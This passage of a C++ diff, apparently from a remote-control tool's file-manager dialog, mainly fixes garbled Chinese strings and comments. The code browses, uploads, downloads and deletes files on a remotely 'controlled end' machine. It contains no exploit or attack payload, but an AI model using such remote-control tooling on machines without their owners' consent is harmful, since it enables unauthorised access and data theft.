SMTO_BLOCK, 500, &dwResult); } break; case TOKEN_FILE_SEARCHPLUS_INITUSN: { DWORD_PTR dwResult; - SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("ʼ־ļʧ"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("初始化日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } break; case TOKEN_FILE_SEARCHPLUS_GETUSN: { DWORD_PTR dwResult; - SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("ȡ־ļʧ"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T("获取日志文件失败"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } break; case TOKEN_FILE_SEARCHPLUS_NUMBER: { @@ -664,7 +664,7 @@ void CFileManagerDlg::OnReceiveComplete() int i; memcpy(&i, m_ContextObject->m_DeCompressionBuffer.GetBuffer() + 1, sizeof(int)); CString strMsgShow; - strMsgShow.Format(_T("Ѿ %d ٴ"), i); + strMsgShow.Format(_T("已经搜索 %d 请勿再次搜索"), i); SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)(strMsgShow.GetBuffer()), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } break; @@ -684,18 +684,18 @@ void CFileManagerDlg::GetRemoteFileList(CString directory) if (directory.GetLength() == 0) { int nItem = m_list_remote.GetSelectionMark(); - // ѡеģĿ¼ + // 如果有选中的,是目录 if (nItem != -1) { if (m_list_remote.GetItemData(nItem) == 1) { directory = m_list_remote.GetItemText(nItem, 0); } } - // Ͽõ· + // 从组合框里得到路径 else { m_Remote_Directory_ComboBox.GetWindowText(m_Remote_Path); } } - // õĿ¼ + // 得到父目录 if (directory == _T("..")) { if (m_Remote_Path.GetLength() == 3) return; @@ -706,12 +706,12 @@ void CFileManagerDlg::GetRemoteFileList(CString directory) m_Remote_Path += _T("\\"); } - // ĸĿ¼,شб + // 是驱动器的根目录,返回磁盘列表 if (m_Remote_Path.GetLength() == 0) { return; } - // ǰջ + // 发送数据前清空缓冲区 int PacketSize = (m_Remote_Path.GetLength() + 1) * sizeof(TCHAR) + 1; BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, PacketSize); @@ -723,7 +723,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory) m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path); m_Remote_Directory_ComboBox.SetCurSel(0); - // õǰ + // 得到返回数据前禁窗口 m_list_remote.EnableWindow(FALSE); m_list_remote_driver.EnableWindow(FALSE); @@ -733,13 +733,13 @@ void CFileManagerDlg::GetRemoteFileList(CString directory) void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult) { if (m_list_remote.GetSelectedCount() == 0 || m_list_remote.GetItemData(m_list_remote.GetSelectionMark()) != 1) { - //ȡļϸϢ + //获取文件详细信息 POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); if (pos != NULL) { int nItem = m_list_remote.GetNextSelectedItem(pos); CString filename = m_list_remote.GetItemText(nItem, 0); filename = m_Remote_Path + filename; - // ǰջ + // 发送数据前清空缓冲区 int PacketSize = (filename.GetLength() + 1) * sizeof(TCHAR) + 1; BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, PacketSize); bPacket[0] = COMMAND_FILE_GETINFO; @@ -761,19 +761,19 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) int nItem = m_list_remote_driver.GetSelectionMark(); CString directory = m_list_remote_driver.GetItemText(nItem, 0); - if (directory.Compare(_T("")) == 0) { + if (directory.Compare(_T("桌面")) == 0) { m_Remote_Directory_ComboBox.SetWindowText(m_strDesktopPath); m_list_remote.SetSelectionMark(-1); GetRemoteFileList(); return; } - if (directory.Compare(_T("")) == 0) { + if (directory.Compare(_T("最近")) == 0) { BYTE byToken = COMMAND_FILE_RECENT; m_ContextObject->Send2Client(&byToken, 1); return; } m_Remote_Path = directory; - // ǰջ + // 发送数据前清空缓冲区 int PacketSize = (directory.GetLength() + 1) * sizeof(TCHAR) + 1; BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, PacketSize); @@ -785,7 +785,7 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) m_Remote_Directory_ComboBox.InsertString(0, directory); m_Remote_Directory_ComboBox.SetCurSel(0); - // õǰ + // 得到返回数据前禁窗口 m_list_remote.EnableWindow(FALSE); m_list_remote_driver.EnableWindow(FALSE); DRIVE_CAZ = FALSE; @@ -808,7 +808,7 @@ int GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes); void CFileManagerDlg::FixedRemoteFileList(BYTE* pbBuffer, DWORD dwBufferLen) { - // ؽ + // 重建标题 m_list_remote.DeleteAllItems(); int nItemIndex = 0; m_list_remote.SetItemData @@ -817,27 +817,27 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE* pbBuffer, DWORD dwBufferLen) 1 ); /* - ListView ˸ - ǰSetRedraw(FALSE) - ºSetRedraw(TRUE) + ListView 消除闪烁 + 更新数据前用SetRedraw(FALSE) + 更新后调用SetRedraw(TRUE) */ m_list_remote.SetRedraw(FALSE); if (dwBufferLen != 0) { // for (int i = 0; i < 2; i++) { - // Token5ֽ + // 跳过Token,共5字节 byte* pList = (byte*)(pbBuffer + 1); for (byte* pBase = pList; (unsigned long)(pList - pBase) < dwBufferLen - 1;) { TCHAR* pszFileName = NULL; - DWORD dwFileSizeHigh = 0; // ļֽڴС - DWORD dwFileSizeLow = 0; // ļֽڴС + DWORD dwFileSizeHigh = 0; // 文件高字节大小 + DWORD dwFileSizeLow = 0; // 文件低字节大小 int nItem = 0; bool bIsInsert = false; FILETIME ftm_strReceiveLocalFileTime; int nType = *pList ? FILE_ATTRIBUTE_DIRECTORY : FILE_ATTRIBUTE_NORMAL; - // i Ϊ 0 ʱĿ¼iΪ1ʱļ + // i 为 0 时,列目录,i为1时列文件 bIsInsert = !(nType == FILE_ATTRIBUTE_DIRECTORY) == i; pszFileName = (TCHAR*)++pList; @@ -850,7 +850,7 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE* pbBuffer, DWORD dwBufferLen) m_list_remote.SetItemText(nItem, 2, sfi.szTypeName); } - // õļС + // 得到文件大小 pList += (lstrlen(pszFileName) + 1) * sizeof(TCHAR); if (bIsInsert) { CString strFileSize; @@ -874,12 +874,12 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE* pbBuffer, DWORD dwBufferLen) } m_list_remote.SetRedraw(TRUE); - // ָ + // 恢复窗口 m_list_remote.EnableWindow(TRUE); m_list_remote_driver.EnableWindow(TRUE); if (DRIVE_CAZ == FALSE) { DWORD_PTR dwResult; - ShowMessage(_T("ԶĿ¼%s"), m_Remote_Path); + ShowMessage(_T("远程目录:%s"), m_Remote_Path); SendMessageTimeout(m_ProgressCtrl->GetSafeHwnd(), PBM_SETPOS, 0, 0, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, NULL, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } @@ -909,7 +909,7 @@ void CFileManagerDlg::OnRemotePrev() GetRemoteFileList(_T("..")); } -//////////////////////////////////ΪӦ////////////////////////////////////////// +//////////////////////////////////以下为工具栏响应处理////////////////////////////////////////// void CFileManagerDlg::OnRemoteView() { @@ -962,24 +962,24 @@ bool CFileManagerDlg::FixedUploadDirectory(LPCTSTR lpPathName) WIN32_FIND_DATA wfd; HANDLE hFind = FindFirstFile(lpszFilter, &wfd); - if (hFind == INVALID_HANDLE_VALUE) // ûҵʧ + if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败 return FALSE; do { if (wfd.cFileName[0] == _T('.')) - continue; // Ŀ¼ + continue; // 过滤这两个目录 if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { TCHAR strDirectory[MAX_PATH]; wsprintf(strDirectory, _T("%s%s%s"), lpPathName, lpszSlash, wfd.cFileName); - FixedUploadDirectory(strDirectory); // ҵĿ¼Ŀ¼еݹ + FixedUploadDirectory(strDirectory); // 如果找到的是目录,则进入此目录进行递归 } else { CString file; file.Format(_T("%s%s%s"), lpPathName, lpszSlash, wfd.cFileName); m_Remote_Upload_Job.AddTail(file); - // ļв + // 对文件进行操作 } } while (FindNextFile(hFind, &wfd)); - FindClose(hFind); // رղҾ + FindClose(hFind); // 关闭查找句柄 return true; } @@ -1005,7 +1005,7 @@ CString CFileManagerDlg::ExtractNameFromFullPath(CString szFullPath) void CFileManagerDlg::OnTransferSend() { m_bIsUpload = true; - // ϴб + // 重置上传任务列表 m_Remote_Upload_Job.RemoveAll(); CString file = GetDirectoryPath(TRUE); if (file == "") return; @@ -1020,7 +1020,7 @@ void CFileManagerDlg::OnTransferSend() } if (m_Remote_Upload_Job.IsEmpty()) { - ::MessageBox(m_hWnd, _T("ļΪ"), _T(""), MB_OK | MB_ICONWARNING); + ::MessageBox(m_hWnd, _T("文件夹为空"), _T("警告"), MB_OK | MB_ICONWARNING); return; } EnableControl(FALSE); @@ -1032,7 +1032,7 @@ void CFileManagerDlg::TransferSend(CString file) if (!m_list_remote.GetItemText(0, 0).Compare(_T(""))) return; m_bIsUpload = true; - // ϴб + // 重置上传任务列表 m_Remote_Upload_Job.RemoveAll(); if (file == "") return; @@ -1046,45 +1046,45 @@ void CFileManagerDlg::TransferSend(CString file) } if (m_Remote_Upload_Job.IsEmpty()) { - ::MessageBox(m_hWnd, _T("ļΪ"), _T(""), MB_OK | MB_ICONWARNING); + ::MessageBox(m_hWnd, _T("文件夹为空"), _T("警告"), MB_OK | MB_ICONWARNING); return; } EnableControl(FALSE); SendUploadJob(); } -// ȡѡ· +// 获取选择的路径 CString CFileManagerDlg::GetDirectoryPath(BOOL bIncludeFiles) { CString szSavePath; TCHAR szBrowsePath[MAX_PATH]; ZeroMemory(szBrowsePath, sizeof(szBrowsePath)); - BROWSEINFO bi = { 0 }; //ΪѾʼΪ0.Щظֵ + BROWSEINFO bi = { 0 }; //因为已经初始化为0.所以有些项不用再重复赋值了 bi.hwndOwner = m_hWnd; bi.pszDisplayName = szBrowsePath; if (bIncludeFiles) { - bi.lpszTitle = _T("ѡϴ·: "); + bi.lpszTitle = _T("请选择上传路径: "); bi.ulFlags = BIF_BROWSEINCLUDEFILES; } else { - bi.lpszTitle = _T("ѡ·: "); + bi.lpszTitle = _T("请选择下载路径: "); bi.ulFlags = BIF_RETURNONLYFSDIRS; } LPITEMIDLIST lpiml = { 0 }; - lpiml = SHBrowseForFolder(&bi); //ûѡĿ¼򷵻NULL - if (lpiml && SHGetPathFromIDList(lpiml, szBrowsePath))//lpiml лȡ·Ϣ + lpiml = SHBrowseForFolder(&bi); //如果没有选中目录,则返回NULL + if (lpiml && SHGetPathFromIDList(lpiml, szBrowsePath))//从lpiml 中获取路径信息 szSavePath = szBrowsePath; else return _T(""); return szSavePath; } -//////////////// ļ //////////////// -// ֻܷصļ -// һһյʱصڶļ ... +//////////////// 文件传输操作 //////////////// +// 只管发出了下载的文件 +// 一个一个发,接收到下载完成时,下载第二个文件 ... void CFileManagerDlg::OnRemoteCopy() { m_bIsUpload = false; - // ļ + // 禁用文件管理窗口 EnableControl(FALSE); CString file; @@ -1093,14 +1093,14 @@ void CFileManagerDlg::OnRemoteCopy() while (pos) { int nItem = m_list_remote.GetNextSelectedItem(pos); file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); - // Ŀ¼ + // 如果是目录 if (m_list_remote.GetItemData(nItem)) file += '\\'; m_Remote_Download_Job.AddTail(file); } if (file.IsEmpty()) { EnableControl(TRUE); - ::MessageBox(m_hWnd, _T("ѡļ"), _T(""), MB_OK | MB_ICONWARNING); + ::MessageBox(m_hWnd, _T("请选择文件!"), _T("警告"), MB_OK | MB_ICONWARNING); return; } @@ -1112,35 +1112,35 @@ void CFileManagerDlg::OnRemoteCopy() if (strLpath.GetAt(strLpath.GetLength() - 1) != _T('\\')) strLpath += _T("\\"); m_nTransferMode = TRANSFER_MODE_NORMAL; - // ͵һ + // 发送第一个下载任务 SendDownloadJob(); } -// һ +// 发出一个下载任务 BOOL CFileManagerDlg::SendDownloadJob() { if (m_Remote_Download_Job.IsEmpty()) return FALSE; EnableControl(FALSE); - // һ + // 发出第一个下载任务命令 CString file = m_Remote_Download_Job.GetHead(); int nPacketSize = (file.GetLength() + 1) * sizeof(TCHAR) + 1; BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, nPacketSize); bPacket[0] = COMMAND_DOWN_FILES; - // ļƫƣʱ + // 文件偏移,续传时用 memcpy(bPacket + 1, file.GetBuffer(0), (file.GetLength() + 1) * sizeof(TCHAR)); m_ContextObject->Send2Client(bPacket, nPacketSize); LocalFree(bPacket); - // бɾԼ + // 从下载任务列表中删除自己 m_Remote_Download_Job.RemoveHead(); return TRUE; } -// һϴ +// 发出一个上传任务 BOOL CFileManagerDlg::SendUploadJob() { if (m_Remote_Upload_Job.IsEmpty()) @@ -1148,7 +1148,7 @@ BOOL CFileManagerDlg::SendUploadJob() EnableControl(FALSE); CString strDestDirectory = m_Remote_Path; - // ԶҲѡ񣬵Ŀļ + // 如果远程也有选择,当做目标文件夹 int nItem = m_list_remote.GetSelectionMark(); if (!m_hCopyDestFolder.IsEmpty()) { @@ -1159,18 +1159,18 @@ BOOL CFileManagerDlg::SendUploadJob() m_Local_Path = _T(""); m_Remote_Upload_Job.RemoveHead(); EnableControl(TRUE); - ::MessageBox(m_hWnd, _T("ѡĿ¼"), _T(""), MB_OK | MB_ICONWARNING); + ::MessageBox(m_hWnd, _T("请选择目录!"), _T("警告"), MB_OK | MB_ICONWARNING); return 0; } - // һ + // 发出第一个下载任务命令 m_strOperatingFile = m_Remote_Upload_Job.GetHead(); DWORD dwSizeHigh; DWORD dwSizeLow; - CString fileRemote = m_strOperatingFile; // Զļ + CString fileRemote = m_strOperatingFile; // 远程文件 - // õҪ浽Զ̵ļ· + // 得到要保存到的远程的文件路径 fileRemote.Replace(m_Local_Path, strDestDirectory); m_strFileName = m_strUploadRemoteFile = fileRemote; @@ -1182,9 +1182,9 @@ BOOL CFileManagerDlg::SendUploadJob() return FALSE; dwSizeLow = GetFileSize(m_hFileSend, &dwSizeHigh); m_nOperatingFileLength = ((__int64)dwSizeHigh << 32) + dwSizeLow; - //SAFE_CLOSE_HANDLE(m_hFileSend); // ˴Ҫر, ԺҪ + //SAFE_CLOSE_HANDLE(m_hFileSend); // 此处不要关闭, 以后还要用 - // ݰļ(1ֽtoken, 8ֽڴС, ļ, '\0') + // 构造数据包,发送文件长度(1字节token, 8字节大小, 文件名称, '\0') int nPacketSize = (fileRemote.GetLength() + 1) * sizeof(TCHAR) + 9; BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, nPacketSize); memset(bPacket, 0, nPacketSize); @@ -1196,19 +1196,19 @@ BOOL CFileManagerDlg::SendUploadJob() m_ContextObject->Send2Client(bPacket, nPacketSize); LocalFree(bPacket); - // бɾԼ + // 从下载任务列表中删除自己 m_Remote_Upload_Job.RemoveHead(); return TRUE; } -// һɾ +// 发出一个删除任务 BOOL CFileManagerDlg::SendDeleteJob() { if (m_Remote_Delete_Job.IsEmpty()) return FALSE; EnableControl(FALSE); - // һ + // 发出第一个下载任务命令 CString file = m_Remote_Delete_Job.GetHead(); int nPacketSize = (file.GetLength() + 1) * sizeof(TCHAR) + 1; BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, nPacketSize); @@ -1219,12 +1219,12 @@ BOOL CFileManagerDlg::SendDeleteJob() else bPacket[0] = COMMAND_DELETE_FILE; - // ļƫƣʱ + // 文件偏移,续传时用 memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1); m_ContextObject->Send2Client(bPacket, nPacketSize); LocalFree(bPacket); - // бɾԼ + // 从下载任务列表中删除自己 m_Remote_Delete_Job.RemoveHead(); DRIVE_CAZ = TRUE; @@ -1233,7 +1233,7 @@ BOOL CFileManagerDlg::SendDeleteJob() void CFileManagerDlg::CreateLocalRecvFile() { - // ü + // 重置计数器 m_nCounter = 0; FILESIZE* pFileSize = (FILESIZE*)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); @@ -1245,16 +1245,16 @@ void CFileManagerDlg::CreateLocalRecvFile() } m_nOperatingFileLength = ((__int64)dwSizeHigh << 32) + dwSizeLow; - // ǰļ + // 当前正操作的文件名 m_strOperatingFile = (TCHAR*)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(9)); m_strReceiveLocalFile = m_strOperatingFile; - // õҪ浽ıصļ· + // 得到要保存到的本地的文件路径 m_strReceiveLocalFile.Replace(m_Remote_Path, strLpath); m_strFileName = m_strReceiveLocalFile; - // Ŀ¼ + // 创建多层目录 MakeSureDirectoryPathExists(m_strReceiveLocalFile.GetBuffer(0)); WIN32_FIND_DATA FindFileData; @@ -1293,7 +1293,7 @@ void CFileManagerDlg::CreateLocalRecvFile() } if (m_nTransferMode == TRANSFER_MODE_CANCEL) { - // ȡ + // 取消传送 m_bIsStop = true; SendStop(TRUE); FindClose(hFind); @@ -1315,34 +1315,34 @@ void CFileManagerDlg::CreateLocalRecvFile() nTransferMode = m_nTransferMode; } - // 1ֽToken,ֽƫƸλֽƫƵλ + // 1字节Token,四字节偏移高四位,四字节偏移低四位 BYTE bToken[9]; - DWORD dwCreationDisposition; // ļ򿪷ʽ + DWORD dwCreationDisposition; // 文件打开方式 memset(bToken, 0, sizeof(bToken)); bToken[0] = COMMAND_CONTINUE; - // ļѾ + // 文件已经存在 if (hFind != INVALID_HANDLE_VALUE) { - // ʾʲô - // + // 提示点什么 + // 如果是续传 if (nTransferMode == TRANSFER_MODE_ADDITION) { memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4); memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4); - // յijȵ + // 接收的长度递增 m_nCounter += (__int64)FindFileData.nFileSizeHigh << 32; m_nCounter += FindFileData.nFileSizeLow; dwCreationDisposition = OPEN_EXISTING; } - // + // 覆盖 else if (nTransferMode == TRANSFER_MODE_OVERWRITE) { - // ƫ0 + // 偏移置0 memset(bToken + 1, 0, 8); - // ´ + // 重新创建 dwCreationDisposition = CREATE_ALWAYS; } - // ָƵ-1 + // 跳过,指针移到-1 else if (nTransferMode == TRANSFER_MODE_JUMP) { DWORD dwOffset = -1; memcpy(bToken + 1, &dwOffset, 4); @@ -1352,9 +1352,9 @@ void CFileManagerDlg::CreateLocalRecvFile() SendMessageTimeout(m_ProgressCtrl->GetSafeHwnd(), PBM_SETPOS, 100, 0, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } } else { - // ƫ0 + // 偏移置0 memset(bToken + 1, 0, 8); - // ´ + // 重新创建 dwCreationDisposition = CREATE_ALWAYS; } FindClose(hFind); @@ -1363,11 +1363,11 @@ void CFileManagerDlg::CreateLocalRecvFile() SAFE_CLOSE_HANDLE(m_hFileRecv); m_hFileRecv = CreateFile(m_strReceiveLocalFile.GetBuffer(0), GENERIC_WRITE, 0, NULL, dwCreationDisposition, FILE_ATTRIBUTE_NORMAL, 0); - // Ҫ + // 需要错误处理 if (m_hFileRecv == INVALID_HANDLE_VALUE) { m_nOperatingFileLength = 0; m_nCounter = 0; - ::MessageBox(m_hWnd, m_strReceiveLocalFile + _T(" ļʧ"), _T(""), MB_OK | MB_ICONWARNING); + ::MessageBox(m_hWnd, m_strReceiveLocalFile + _T(" 文件创建失败"), _T("警告"), MB_OK | MB_ICONWARNING); return; } @@ -1375,33 +1375,33 @@ void CFileManagerDlg::CreateLocalRecvFile() if (m_bIsStop) SendStop(TRUE); else { - // ͼļtoken,ļƫ + // 发送继续传输文件的token,包含文件续传的偏移 m_ContextObject->Send2Client(bToken, sizeof(bToken)); } } -// дļ +// 写入文件内容 void CFileManagerDlg::WriteLocalRecvFile() { - // + // 传输完毕 BYTE* pData; DWORD dwBytesToWrite; DWORD dwBytesWrite = 0; - int nHeadLength = 9; // 1 + 4 + 4 ݰͷСΪ̶9 + int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小,为固定的9 FILESIZE* pFileSize; - // õݵƫ + // 得到数据的偏移 pData = m_ContextObject->m_DeCompressionBuffer.GetBuffer(nHeadLength); pFileSize = (FILESIZE*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1); - // õļеƫ, ֵ + // 得到数据在文件中的偏移, 赋值给计数器 //m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh); LONG dwOffsetHigh = pFileSize->dwSizeHigh; LONG dwOffsetLow = pFileSize->dwSizeLow; - // õļеƫ, ֵ + // 得到数据在文件中的偏移, 赋值给计数器 m_nCounter = MAKEINT64(dwOffsetLow, dwOffsetHigh); - if (m_nCounter < 0) { //ݳ ϴ + if (m_nCounter < 0) { //数据出错 返回上传传送数据 m_nCounter = Bf_nCounters; dwOffsetHigh = Bf_dwOffsetHighs; dwOffsetLow = Bf_dwOffsetLows; @@ -1417,19 +1417,19 @@ void CFileManagerDlg::WriteLocalRecvFile() BOOL bResult = FALSE; int i = 0; for (i = 0; i < MAX_WRITE_RETRY; i++) { - // дļ + // 写入文件 bResult = WriteFile(m_hFileRecv, pData, dwBytesToWrite, &dwBytesWrite, NULL); if (bResult) break; } if (i == MAX_WRITE_RETRY && !bResult) { - ::MessageBox(m_hWnd, m_strReceiveLocalFile + _T(" ļдʧ!"), _T(""), MB_OK | MB_ICONWARNING); + ::MessageBox(m_hWnd, m_strReceiveLocalFile + _T(" 文件写入失败!"), _T("警告"), MB_OK | MB_ICONWARNING); m_bIsStop = true; } else { dwOffsetLow = 0; dwOffsetHigh = 0; dwOffsetLow = SetFilePointer(m_hFileRecv, dwOffsetLow, &dwOffsetHigh, FILE_CURRENT); - // Ϊ˱Ƚϣ + // 为了比较,计数器递增 m_nCounter += dwBytesWrite; ShowProgress(); } @@ -1458,20 +1458,20 @@ void CFileManagerDlg::EndLocalRecvFile() if (m_Remote_Download_Job.IsEmpty() || m_bIsStop) { m_Remote_Download_Job.RemoveAll(); - // ô䷽ʽ + // 重置传输方式 m_nTransferMode = TRANSFER_MODE_NORMAL; EnableControl(TRUE); DWORD_PTR dwResult; if (m_bIsStop) { SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, - (LPARAM)_T(" ȡ"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + (LPARAM)_T(" 取消下载"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } else { SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, - (LPARAM)_T(" ȫ"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + (LPARAM)_T(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } m_bIsStop = false; } else { - // ҿsleep»˿ǰݻûsendȥ + // 我靠,不sleep下会出错,服了可能以前的数据还没send出去 Sleep(5); SendDownloadJob(); } @@ -1489,7 +1489,7 @@ void CFileManagerDlg::EndLocalUploadFile() SAFE_CLOSE_HANDLE(m_hFileSend); m_hFileSend = INVALID_HANDLE_VALUE; } - SendStop(FALSE); // ֮, ض˲Żرվ + SendStop(FALSE); // 发了之后, 被控端才会关闭句柄 if (m_Remote_Upload_Job.IsEmpty() || m_bIsStop) { m_Remote_Upload_Job.RemoveAll(); @@ -1498,10 +1498,10 @@ void CFileManagerDlg::EndLocalUploadFile() DWORD_PTR dwResult; if (m_bIsStop) { SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, - (LPARAM)_T(" ȡϴ"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + (LPARAM)_T(" 取消上传"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } else { SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, - (LPARAM)_T(" ȫ"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); + (LPARAM)_T(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } m_bIsStop = false; DRIVE_CAZ = TRUE; @@ -1520,9 +1520,9 @@ void CFileManagerDlg::EndRemoteDeleteFile() GetRemoteFileList(_T(".")); DWORD_PTR dwResult; if (m_strFileName.GetAt(m_strFileName.GetLength() - 1) == '\\') - ShowMessage(_T("ɾĿ¼%s ()"), m_strFileName); + ShowMessage(_T("删除目录:%s (完成)"), m_strFileName); else - ShowMessage(_T("ɾļ%s ()"), m_strFileName); + ShowMessage(_T("删除文件:%s (完成)"), m_strFileName); SendMessageTimeout(m_ProgressCtrl->GetSafeHwnd(), PBM_SETPOS, 0, 0, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, NULL, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); DRIVE_CAZ = TRUE; @@ -1561,9 +1561,9 @@ void CFileManagerDlg::ShowProgress() { TCHAR* lpDirection = NULL; if (m_bIsUpload) - lpDirection = _T("ļϴ"); + lpDirection = _T("文件上传"); else - lpDirection = _T("ļ"); + lpDirection = _T("文件下载"); if (m_nCounter == -1) { m_nCounter = m_nOperatingFileLength; @@ -1584,7 +1584,7 @@ void CFileManagerDlg::ShowProgress() if (m_nCounter == m_nOperatingFileLength) { m_nCounter = m_nOperatingFileLength = 0; - // رļ + // 关闭文件句柄 } } @@ -1594,29 +1594,29 @@ void CFileManagerDlg::OnRemoteDelete() // TODO: Add your command handler code here CString str; if (m_list_remote.GetSelectedCount() > 1) - str.Format(_T("ȷҪ %d ɾ?"), m_list_remote.GetSelectedCount()); + str.Format(_T("确定要将这 %d 项删除吗?"), m_list_remote.GetSelectedCount()); else { CString file = m_list_remote.GetItemText(m_list_remote.GetSelectionMark(), 0); if (m_list_remote.GetItemData(m_list_remote.GetSelectionMark()) == 1) - str.Format(_T("ȷʵҪɾļС%sɾ?"), file); + str.Format(_T("确实要删除文件夹“%s”并将所有内容删除吗?"), file); else - str.Format(_T("ȷʵҪѡ%sɾ?"), file); + str.Format(_T("确实要把“%s”删除吗?"), file); } - if (::MessageBox(m_hWnd, str, _T("ȷɾ"), MB_YESNO | MB_ICONQUESTION) == IDNO) + if (::MessageBox(m_hWnd, str, _T("确认删除"), MB_YESNO | MB_ICONQUESTION) == IDNO) return; m_Remote_Delete_Job.RemoveAll(); POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); //iterator for the CListCtrl while (pos) { //so long as we have a valid POSITION, we keep iterating int nItem = m_list_remote.GetNextSelectedItem(pos); CString file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); - // Ŀ¼ + // 如果是目录 if (m_list_remote.GetItemData(nItem)) file += _T('\\'); m_Remote_Delete_Job.AddTail(file); } EnableControl(FALSE); - // ͵һ + // 发送第一个下载任务 SendDeleteJob(); } @@ -1690,7 +1690,7 @@ void CFileManagerDlg::SendFileData() SetFilePointer(m_hFileSend, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); - int nHeadLength = 9; // 1 + 4 + 4 ݰͷСΪ̶9 + int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小,为固定的9 int dwDownFileSize = GetFileSize(m_hFileSend, NULL); @@ -1698,14 +1698,14 @@ void CFileManagerDlg::SendFileData() DWORD nNumberOfBytesRead = 0; BYTE* lpBuffer = (BYTE*)LocalAlloc(LPTR, MAX_SEND_BUFFER); - // Token, Сƫƣ + // Token, 大小,偏移,数据 lpBuffer[0] = COMMAND_FILE_DATA; memcpy(lpBuffer + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); memcpy(lpBuffer + 5, &dwOffsetLow, sizeof(dwOffsetLow)); - // ֵ + // 返回值 bool bRet = true; ReadFile(m_hFileSend, lpBuffer + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL); - //SAFE_CLOSE_HANDLE(m_hFileSend); // ˴Ҫر, ԺҪ + //SAFE_CLOSE_HANDLE(m_hFileSend); // 此处不要关闭, 以后还要用 if (nNumberOfBytesRead > 0) { int nPacketSize = nNumberOfBytesRead + nHeadLength; @@ -1722,7 +1722,7 @@ bool CFileManagerDlg::DeleteDirectory(LPCTSTR lpszDirectory) wsprintf(lpszFilter, _T("%s\\*.*"), lpszDirectory); HANDLE hFind = FindFirstFile(lpszFilter, &wfd); - if (hFind == INVALID_HANDLE_VALUE) // ûҵʧ + if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败 return FALSE; do { @@ -1739,7 +1739,7 @@ bool CFileManagerDlg::DeleteDirectory(LPCTSTR lpszDirectory) } } while (FindNextFile(hFind, &wfd)); - FindClose(hFind); // رղҾ + FindClose(hFind); // 关闭查找句柄 if (!RemoveDirectory(lpszDirectory)) { return FALSE; @@ -1754,7 +1754,7 @@ void CFileManagerDlg::OnRemoteNewFolder() return; CInputDialog dlg(this); - dlg.Init(_T("½Ŀ¼"), _T("Ŀ¼:")); + dlg.Init(_T("新建目录"), _T("请输入目录名称:")); if (dlg.DoModal() == IDOK && dlg.m_str.GetLength()) { CString file = m_Remote_Path + dlg.m_str + _T("\\"); UINT 